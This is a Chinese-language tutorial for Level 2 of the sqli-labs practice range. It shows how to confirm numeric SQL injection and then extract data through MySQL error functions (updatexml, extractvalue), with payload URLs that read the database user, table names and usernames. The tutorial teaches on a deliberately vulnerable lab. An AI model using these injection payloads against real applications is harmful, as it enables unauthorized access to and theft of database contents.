sqli-labs靶场Level2 MySQL xpath报错注入
源码审计
假设传入的是id值为22,则在数据库中执行的sql语句如下
1 | SELECT * FROM users WHERE id=22 LIMIT 0,1 |
第32行的双引号是用来定义字符串的,在实际执行sql的时候不会被带入
漏洞检测
正常传值
1 | /Less-2/index.php?id=1 |
数字型判断
先传入一个单引号
1 | /Less-2/index.php?id=1' |
返回了报错,此时有三种可能
情况一是引号没有正常闭合,再传入一个引号若无报错就说明是字符型(数据库的字段类型为char或varchar)
情况二是id参数为int类型,若传入一个或多个引号仍然报错则说明是数字型(即数据库的字段类型为int)
情况三是代码中使用双引号对id参数进行的闭合
再传入一个引号时,仍然报错,说明可能为情况二或情况三
1 | /Less-2/index.php?id=1'' |
再将两个单引号换成两个双引号仍然报错,说明只能为情况二,即数字型的注入
1 | /Less-2/index.php?id=1"" |
恒真语句
因为源码中的id参数为int类型,所以传入数据库时不需要使用引号对其闭合
1 | /Less-2/index.php?id=1 and 1=1 |
构造恒真语句时,数据库执行的语句如下
1 | SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 |
因为1=1的值为true,不会影响where的条件判断,所以执行结果是和id=1时一样
恒假语句
1 | /Less-2/index.php?id=1 and 1=2 |
构造恒假语句时,数据库执行的语句如下
1 | SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 |
因为1=2是为false,所以id=1 and 1=2
整个为false
虽然id=1的时候有数据,但此时的where语句判断为false,不会显示结果,也不会出现报错信息
恒真语句和恒假语句都成功影响到了结果,说明此处存在注入
字符拼接函数
concat
参考:
https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat
该函数的介绍如下:
concat_ws
参考:
https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_concat-ws
该函数的介绍如下:
group_concat
若需要将多个字段的回显内容合并,可使用group_concat函数
参考:
https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat
该函数介绍如下:
报错函数
updatexml
参考:
https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html#function_updatexml
http://www.blogjava.net/chenpengyi/archive/2006/07/11/57578.html
适用版本:mysql >5.1
该函数的介绍如下:
函数需要传入三个参数
参数 | 介绍 |
---|---|
xml_target | 需要替换的xml文档信息 |
xpath_expr | xpath表达式,类似正则,可以参考此教程XPATH语法 |
new_xml | 用new_xml的值来替换匹配到的内容 |
extractvalue
参考:
https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html#function_extractvalue
适用版本:mysql >5.1
该函数的介绍如下:
函数需要传入两个参数
参数 | 介绍 |
---|---|
xml_frag | 需要匹配的xml文档 |
xpath_expr | xpath表达式,类似正则,可以参考此教程XPATH语法 |
floor
参考:
https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html#function_floor
该函数的介绍如下:
漏洞利用
查库查表信息可参考sqli-labs靶场Level1,仅介绍大致利用思路
updatexml
可以使用下面的方式,在xpath表达式位置传入sql语句
由于sql语句无法被识别成xpath表达式,所以将会报错并被执行
1 | updatexml(值,SQL语句,值) |
查询用户名
1 | /Less-2/index.php?id=1 and updatexml(1,user(),1) |
如果需要使用到较复杂的SQL语句时,需要将需执行的SQL语句用括号括起来
1 | updatexml(值,(SQL语句),值) |
通过information_schema数据库(需符合mysql版本 >= 5.0)查询数据库名
1 | /Less-2/index.php?id=1 and updatexml(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1) |
extractvalue
可以使用下面的方式,在xpath表达式位置传入sql语句
由于sql语句无法被识别成xpath表达式,所以将会报错并被执行
1 | extractvalue(1,SQL语句) |
extractvalue和updatexml类似
1 | /Less-2/index.php?id=1 and extractvalue(1,(select group_concat(username) from security.users)) |